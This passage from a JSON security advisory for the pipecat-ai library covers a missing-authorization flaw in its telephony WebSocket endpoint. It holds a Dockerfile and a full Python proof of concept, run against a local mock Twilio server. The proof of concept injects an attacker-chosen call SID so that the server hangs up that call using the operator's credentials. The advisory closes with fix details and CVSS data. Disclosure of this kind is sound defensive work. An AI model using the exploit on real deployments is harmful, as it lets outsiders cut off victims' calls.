\\\n       -subj \"/CN=Mock Twilio CA/O=VULN001-PoC/C=US\" \\\n    # Server private key\n    && openssl genrsa -out /poc/certs/server.key 2048 \\\n    # Server CSR — CN must match the hostname pipecat connects to\n    && openssl req -new \\\n       -key /poc/certs/server.key \\\n       -out /poc/certs/server.csr \\\n       -subj \"/CN=api.twilio.com/O=Mock Twilio/C=US\" \\\n    # SAN extension file (required for modern TLS hostname verification)\n    && printf \"[SAN]\\nsubjectAltName=DNS:api.twilio.com\\n\" > /poc/certs/san.cnf \\\n    # Sign the server cert with our CA, including the SAN extension\n    && openssl x509 -req -days 1 \\\n       -in /poc/certs/server.csr \\\n       -CA /poc/certs/ca.crt \\\n       -CAkey /poc/certs/ca.key \\\n       -CAcreateserial \\\n       -out /poc/certs/server.crt \\\n       -extfile /poc/certs/san.cnf \\\n       -extensions SAN \\\n    # Add our CA to the Debian system trust store\n    && cp /poc/certs/ca.crt /usr/local/share/ca-certificates/mock_twilio_ca.crt \\\n    && update-ca-certificates\n\n# Install pipecat from the cloned repository.\n# aiohttp is a pipecat base dependency; it is used inside _hang_up_call().\n# numpy and soxr are required for pipecat audio utilities imported at module load.\nCOPY repo /pipecat\nRUN pip install --no-cache-dir \\\n    -e \"/pipecat\" \\\n    aiohttp \\\n    \"websockets>=11\"\n\n# Fake Twilio server-side credentials (equivalent to what a real deployment reads from env).\n# In a real deployment these are valid account credentials; here they just need to be non-empty\n# so TwilioFrameSerializer passes its __init__ validation.\nENV TWILIO_ACCOUNT_SID=ACFAKE000000000000000000000000001\nENV TWILIO_AUTH_TOKEN=fake_auth_token_poc_only\n\nCOPY vuln-001/poc.py /poc/poc.py\n\n# Run the PoC.  The container must be started with --add-host api.twilio.com:127.0.0.1\n# so that DNS for api.twilio.com resolves to the local mock server.\nCMD [\"python3\", \"/poc/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: Telephony WebSocket /ws unauthenticated call-control abuse\nvia attacker-supplied call SID (CWE-862).\n\nVulnerability summary\n---------------------\nThe pipecat telephony runner registers a /ws WebSocket endpoint that accepts\nconnections without any authentication (run.py:1119).  When a client connects,\nthe server parses the Twilio \"start\" handshake message and extracts the callSid\nfield verbatim from the attacker-controlled payload (utils.py:223).  That\ncallSid is then injected into TwilioFrameSerializer together with the server's\nown Twilio credentials read from environment variables (utils.py:513-517).\nWhen the pipeline terminates and serializes an EndFrame, _hang_up_call() fires\nand issues a Twilio REST API POST with the attacker's callSid in the URL\n(twilio.py:196, :206), causing the server to hang up the attacker-specified\ncall SID if it identifies a valid call in the server's Twilio account.\n\nWhat this PoC does\n------------------\n1. Starts a local HTTPS server on 127.0.0.1:443 that impersonates api.twilio.com\n   and records every incoming POST request.  The TLS certificate was generated\n   in the Docker build stage and the CA was injected into the system trust store,\n   so aiohttp accepts it as legitimate.\n2. Ensures /etc/hosts resolves api.twilio.com to 127.0.0.1 so that aiohttp's\n   DNS lookup reaches the mock server instead of Twilio's real infrastructure.\n3. Reproduces the exact vulnerable code path from pipecat:\n     - Parses callSid from attacker-controlled input  (utils.py:223)\n     - Creates TwilioFrameSerializer(call_sid=<attacker_value>,\n                                     account_sid=TWILIO_ACCOUNT_SID,\n                                     auth_token=TWILIO_AUTH_TOKEN)\n                                                        (utils.py:513-517)\n     - Calls serialize(EndFrame()) which internally invokes _hang_up_call()\n                                                        (twilio.py:141-147)\n     - _hang_up_call() POSTs to https://api.twilio.com/.../Calls/{callSid}.json\n       using server-side Basic Auth credentials       (twilio.py:196, :206)\n4. Verifies that the mock server received a POST whose URL contains the\n   attacker-injected callSid, providing deterministic observable evidence.\n\nExpected pass criterion\n-----------------------\nThe intercepted POST path must contain ATTACKER_CALL_SID.  This proves that\nan attacker who connects to /ws and sends a crafted callSid can cause the\npipecat server to issue authenticated Twilio REST API calls against the call\nSID supplied by the attacker, using the server operator's credentials.\n\nRequirements\n------------\n- Run inside the Docker image built from the accompanying Dockerfile.\n- Start the container with --add-host api.twilio.com:127.0.0.1, OR run this\n  script as root so that /etc/hosts can be written programmatically.\n- Port 443 must be available (container runs as root by default).\n\"\"\"\n\nimport asyncio\nimport json\nimport os\nimport ssl\nimport sys\nimport threading\nimport time\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\n\n# ---------------------------------------------------------------------------\n# Configuration\n# ---------------------------------------------------------------------------\n\n# The callSid the attacker injects into the Twilio WebSocket handshake.\n# In a real attack this would need to be the SID of a victim's active call on\n# the server operator's Twilio account.\nATTACKER_CALL_SID = \"CAATTACKER1337INJECTED00000000001\"\n\n# Fake Twilio account credentials — in a real deployment these are real and\n# are read from environment variables by pipecat (os.getenv).\nFAKE_ACCOUNT_SID = os.environ.get(\"TWILIO_ACCOUNT_SID\", \"ACFAKE000000000000000000000000001\")\nFAKE_AUTH_TOKEN = os.environ.get(\"TWILIO_AUTH_TOKEN\", \"fake_auth_token_poc_only\")\n\n# Directory where the Docker build stage generated the TLS certificate pair.\nCERTS_DIR = Path(\"/poc/certs\")\n\n# The mock Twilio HTTPS server listens here.  Must be 443 because pipecat\n# hard-codes the Twilio API base URL to https://api.twilio.com (port 443).\nMOCK_SERVER_HOST = \"127.0.0.1\"\nMOCK_SERVER_PORT = 443\n\n# ---------------------------------------------------------------------------\n# Mock Twilio REST API server\n# ---------------------------------------------------------------------------\n\n# Thread-safe storage for captured requests; set by the handler thread.\n_intercepted_requests: list[dict] = []\n_request_received = threading.Event()\n\n\nclass MockTwilioAPIHandler(BaseHTTPRequestHandler):\n    \"\"\"\n    Minimal HTTP handler that records POST requests.\n\n    pipecat's _hang_up_call() issues exactly one POST request to:\n        https://api.twilio.com/2010-04-01/Accounts/{account_sid}/Calls/{call_sid}.json\n    with Basic Auth (account_sid:auth_token) and body Status=completed.\n    This handler captures that request verbatim.\n    \"\"\"\n\n    def do_POST(self) -> None:\n        content_length = int(self.headers.get(\"Content-Length\", 0))\n        body = self.rfile.read(content_length).decode(\"utf-8\", errors=\"replace\")\n\n        captured = {\n            \"method\": \"POST\",\n            \"path\": self.path,\n            \"authorization\": self.headers.get(\"Authorization\", \"\"),\n            \"body\": body,\n        }\n        _intercepted_requests.append(captured)\n        _request_received.set()\n\n        print()\n        print(\"[MOCK TWILIO] *** Intercepted outgoing Twilio REST API call ***\")\n        print(f\"[MOCK TWILIO] POST https://api.twilio.com{self.path}\")\n        print(f\"[MOCK TWILIO] Authorization: {captured['authorization']}\")\n        print(f\"[MOCK TWILIO] Body: {body}\")\n        print()\n\n        # Respond with a minimal 200 JSON body that satisfies aiohttp's response parsing.\n        response_body = json.dumps({\"sid\": \"CA000000000000000000000000000001\",\n                                    \"status\": \"completed\"}).encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.send_header(\"Content-Length\", str(len(response_body)))\n        self.end_headers()\n        self.wfile.write(response_body)\n\n    def log_message(self, fmt: str, *args) -> None:  # type: ignore[override]\n        # Suppress the default per-request stderr log line.\n        pass\n\n\ndef start_mock_twilio_server() -> HTTPServer:\n    \"\"\"\n    Start the mock Twilio HTTPS server in a daemon thread.\n\n    The server uses the TLS certificate generated at Docker build time.\n    That certificate is for api.twilio.com and is signed by the mock CA\n    that was added to the system trust store via update-ca-certificates,\n    so Python's ssl.create_default_context() (used by aiohttp) accepts it.\n    \"\"\"\n    cert_file = CERTS_DIR / \"server.crt\"\n    key_file = CERTS_DIR / \"server.key\"\n\n    if not cert_file.exists() or not key_file.exists():\n        print(f\"[ERROR] TLS certificates not found in {CERTS_DIR}\")\n        print(\"[ERROR] Rebuild the Docker image: the Dockerfile generates them at build time.\")\n        sys.exit(1)\n\n    ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n    ssl_ctx.load_cert_chain(str(cert_file), str(key_file))\n\n    server = HTTPServer((MOCK_SERVER_HOST, MOCK_SERVER_PORT), MockTwilioAPIHandler)\n    server.socket = ssl_ctx.wrap_socket(server.socket, server_side=True)\n\n    thread = threading.Thread(target=server.serve_forever, daemon=True)\n    thread.start()\n    return server\n\n\n# ---------------------------------------------------------------------------\n# /etc/hosts redirect\n# ---------------------------------------------------------------------------\n\ndef ensure_hosts_redirect() -> None:\n    \"\"\"\n    Ensure api.twilio.com resolves to 127.0.0.1 in /etc/hosts.\n\n    Preferred: pass --add-host api.twilio.com:127.0.0.1 to docker run.\n    Fallback: write directly (requires root, which is the default in Docker).\n    \"\"\"\n    hosts_path = Path(\"/etc/hosts\")\n    content = hosts_path.read_text()\n    if \"api.twilio.com\" in content:\n        print(\"[+] /etc/hosts already contains api.twilio.com -> 127.0.0.1\")\n        return\n    try:\n        with open(hosts_path, \"a\") as fh:\n            fh.write(\"\\n127.0.0.1 api.twilio.com\\n\")\n        print(\"[+] Wrote api.twilio.com -> 127.0.0.1 into /etc/hosts\")\n    except PermissionError:\n        print(\"[WARN] Cannot write /etc/hosts — start container with\"\n              \" --add-host api.twilio.com:127.0.0.1\")\n\n\n# ---------------------------------------------------------------------------\n# Core attack reproduction using pipecat's actual code\n# ---------------------------------------------------------------------------\n\nasync def reproduce_attack() -> None:\n    \"\"\"\n    Reproduce the vulnerable pipecat code path step by step.\n\n    This function uses the real pipecat library (installed from the cloned\n    repository) and does NOT modify any source files.  The objective is to\n    show that pipecat's own code, given attacker-controlled input on /ws,\n    will issue an authenticated Twilio REST API call against the injected\n    callSid.\n    \"\"\"\n    # Import pipecat's actual serializer and frame types.\n    from pipecat.serializers.twilio import TwilioFrameSerializer\n    from pipecat.frames.frames import EndFrame\n\n    print()\n    print(\"=\" * 65)\n    print(\"Step 1 — Attacker-supplied WebSocket handshake (no auth check)\")\n    print(\"=\" * 65)\n    # This is what the attacker sends to /ws after the server calls\n    # await websocket.accept()  (run.py:1119 — no prior auth check).\n    attacker_ws_message = {\n        \"event\": \"start\",\n        \"start\": {\n            \"streamSid\": \"MX00000000000000000000000000000000\",\n            \"callSid\": ATTACKER_CALL_SID,   # <-- attacker-controlled\n            \"customParameters\": {}\n        }\n    }\n    print(f\"Attacker sends: {json.dumps(attacker_ws_message)}\")\n\n    print()\n    print(\"=\" * 65)\n    print(\"Step 2 — pipecat parses callSid from attacker message\")\n    print(\"         (mirrors utils.py:218-230)\")\n    print(\"=\" * 65)\n    # Reproduction of utils.py:219-230\n    start_data = attacker_ws_message[\"start\"]\n    call_id = start_data.get(\"callSid\")      # utils.py:223 — tainted value\n    stream_id = start_data.get(\"streamSid\")\n    print(f\"Parsed call_id (attacker-controlled): {call_id}\")\n    print(f\"Parsed stream_id:                     {stream_id}\")\n\n    print()\n    print(\"=\" * 65)\n    print(\"Step 3 — TwilioFrameSerializer created with attacker callSid\")\n    print(\"         + server-side Twilio credentials (utils.py:513-517)\")\n    print(\"=\" * 65)\n    print(f\"  call_sid    = {call_id!r}   [TAINTED: from attacker]\")\n    print(f\"  account_sid = {FAKE_ACCOUNT_SID!r}   [from TWILIO_ACCOUNT_SID env var]\")\n    print(f\"  auth_token  = {FAKE_AUTH_TOKEN[:8]!r}...   [from TWILIO_AUTH_TOKEN env var]\")\n\n    # This is the exact code at utils.py:513-517.\n    serializer = TwilioFrameSerializer(\n        stream_sid=stream_id,\n        call_sid=call_id,             # TAINTED — attacker-supplied\n        account_sid=FAKE_ACCOUNT_SID, # server credential\n        auth_token=FAKE_AUTH_TOKEN,   # server credential\n    )\n\n    print()\n    print(\"=\" * 65)\n    print(\"Step 4 — Pipeline ends: serialize(EndFrame()) triggers _hang_up_call()\")\n    print(\"         (twilio.py:141-147 -> twilio.py:196, :206)\")\n    print(\"=\" * 65)\n    print(\"Calling serializer.serialize(EndFrame()) ...\")\n    print(f\"Expected Twilio API URL:\")\n    print(f\"  https://api.twilio.com/2010-04-01/Accounts/{FAKE_ACCOUNT_SID}\"\n          f\"/Calls/{call_id}.json\")\n    print(\"(api.twilio.com resolves to 127.0.0.1 — intercepted by mock server)\")\n\n    # This line reproduces twilio.py:141-147 -> _hang_up_call().\n    # aiohttp will POST to api.twilio.com which /etc/hosts redirects to\n    # our mock HTTPS server.  The mock server logs the request including\n    # the attacker-injected callSid in the URL.\n    await serializer.serialize(EndFrame())\n\n    print(\"serialize(EndFrame()) returned — API POST dispatched.\")\n\n\n# ---------------------------------------------------------------------------\n# Entry point\n# ---------------------------------------------------------------------------\n\nasync def main() -> bool:\n    print()\n    print(\"=\" * 65)\n    print(\"VULN-001 PoC — Telephony WebSocket callSid Injection\")\n    print(\"CWE-862: Missing Authorization\")\n    print(\"pipecat-ai/pipecat @ commit b982b45\")\n    print(\"=\" * 65)\n\n    # 1. Redirect api.twilio.com to localhost\n    ensure_hosts_redirect()\n\n    # 2. Start the mock Twilio HTTPS server\n    print(\"[*] Starting mock Twilio REST API server on 127.0.0.1:443 ...\")\n    start_mock_twilio_server()\n    time.sleep(0.3)  # Let the server thread bind and start accepting.\n    print(\"[+] Mock server ready.\")\n\n    # 3. Reproduce the attack using pipecat's own code\n    try:\n        await reproduce_attack()\n    except Exception as exc:\n        print(f\"\\n[ERROR] Attack reproduction raised an exception: {exc}\")\n        import traceback\n        traceback.print_exc()\n        return False\n\n    # 4. Wait for the mock server to record the intercepted request\n    print()\n    print(\"[*] Waiting for mock Twilio server to receive POST request (timeout 10 s) ...\")\n    received = _request_received.wait(timeout=10.0)\n\n    # 5. Evaluate evidence\n    print()\n    print(\"=\" * 65)\n    print(\"EVIDENCE EVALUATION\")\n    print(\"=\" * 65)\n\n    if not received or not _intercepted_requests:\n        print(\"[FAIL] Mock Twilio server received no requests within 10 seconds.\")\n        print(\"       Likely causes:\")\n        print(\"       - api.twilio.com /etc/hosts entry missing or wrong\")\n        print(\"       - Port 443 could not be bound (need root)\")\n        print(\"       - CA certificate not added to system trust store\")\n        return False\n\n    req = _intercepted_requests[0]\n    path = req[\"path\"]\n    auth = req[\"authorization\"]\n    body = req[\"body\"]\n\n    print(f\"Intercepted POST:\")\n    print(f\"  URL:           https://api.twilio.com{path}\")\n    print(f\"  Authorization: {auth}\")\n    print(f\"  Body:          {body}\")\n\n    expected_fragment = f\"/Calls/{ATTACKER_CALL_SID}.json\"\n    if expected_fragment in path:\n        print()\n        print(\"[PASS] *** VULNERABILITY CONFIRMED ***\")\n        print(f\"[PASS] Attacker callSid '{ATTACKER_CALL_SID}' appears in Twilio REST API URL.\")\n        print(f\"[PASS] The server used its own credentials (account_sid={FAKE_ACCOUNT_SID})\")\n        print(f\"[PASS] to issue an authenticated hang-up command for the attacker-specified call SID.\")\n        print(f\"[PASS] In a real deployment this terminates the call if the SID identifies an active call\")\n        print(f\"[PASS] in the server operator's Twilio account.\")\n        return True\n    else:\n        print()\n        print(f\"[FAIL] Expected callSid not found in intercepted path: {path}\")\n        return False\n\n\nif __name__ == \"__main__\":\n    success = asyncio.run(main())\n    sys.exit(0 if success else 1)\n```\n\n### Resolution\n\nThis issue was addressed in pipecat-ai `v1.4.0` by adding optional HMAC token authentication for development-runner WebSocket endpoints.\n\nOperators who expose the development runner’s WebSocket endpoints to anything other than localhost should upgrade to `v1.4.0` or later and enable WebSocket token authentication:\n\n```bash\nPIPECAT_WEBSOCKET_AUTH=token\n```\n\nor:\n\n```bash\npython bot.py -t twilio --ws-auth token\npython bot.py -t websocket --ws-auth token\n```\n\nWhen enabled, clients must first call `POST /start` to obtain a short-lived, one-time-use signed token before connecting to `/ws` or `/ws-client`. Tokens may be supplied via\n`Authorization: Bearer <token>`, `?token=<token>`, or as a path segment such as `/ws/<token>`, which is intended for telephony providers that cannot set custom headers. Invalid,\nexpired, or replayed tokens are rejected with WebSocket close code `4003`.\n\nThe fix was merged in https://github.com/pipecat-ai/pipecat/pull/4660.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "pipecat-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.0.77"
      }, {
        "fixed" : "1.4.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/pipecat-ai/pipecat/security/advisories/GHSA-j8cv-x86q-rj85"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/pipecat-ai/pipecat/pull/4660"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/pipecat-ai/pipecat"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-862" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T15:05:17Z",
    "nvd_published_at" : null
  }
}